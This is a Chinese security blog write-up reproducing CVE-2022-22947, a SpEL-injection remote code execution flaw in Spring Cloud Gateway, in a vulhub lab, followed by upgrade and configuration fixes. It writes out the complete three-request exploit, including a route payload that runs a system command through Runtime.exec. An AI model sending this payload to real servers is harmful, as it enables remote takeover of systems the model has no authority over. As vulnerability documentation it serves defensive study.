CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

admin 2022年5月31日14:46:38评论369 views字数 2050阅读6分50秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:Jackey0@Timeline Sec
本文字数:980
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介

Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。


0x02 漏洞概述


其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。


0x03 影响版本

3.1.0
3.0.0-3.0.6
3.0.0之前的版本


0x04 环境搭建
# 下载wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip# 解压包unzip vulhub-master.zip# 进入vulhub目录,开启漏洞环境cd vulhub/spring/CVE-2022-22947docker-compose  up -d#漏洞环境拉取成功后访问http://ip:8080/


0x05 漏洞复现

依次发送如下请求包:

1、以POST方法请求

/actuator/gateway/routes/error

并提交以下数据,用于创建一条恶意路由

POST /actuator/gateway/routes/error HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 336
{ "id": "error", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}


2、接着以POST方法请求

/actuator/gateway/refresh

用于刷新路由,使刚添加的恶意路由生效

POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencoded


3、最后以GET方法请求,触发恶意路由

GET /actuator/gateway/routes HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

第三次请求的相应如下图所示:`id`命令执行成功

CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞


0x06 修复建议

1)3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
2)在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled设置为false禁用gateway actuator endpoint。


CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





原文始发于微信公众号(Timeline Sec):CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月31日14:46:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞http://cn-sec.com/archives/1071427.html

发表评论

匿名网友 填写信息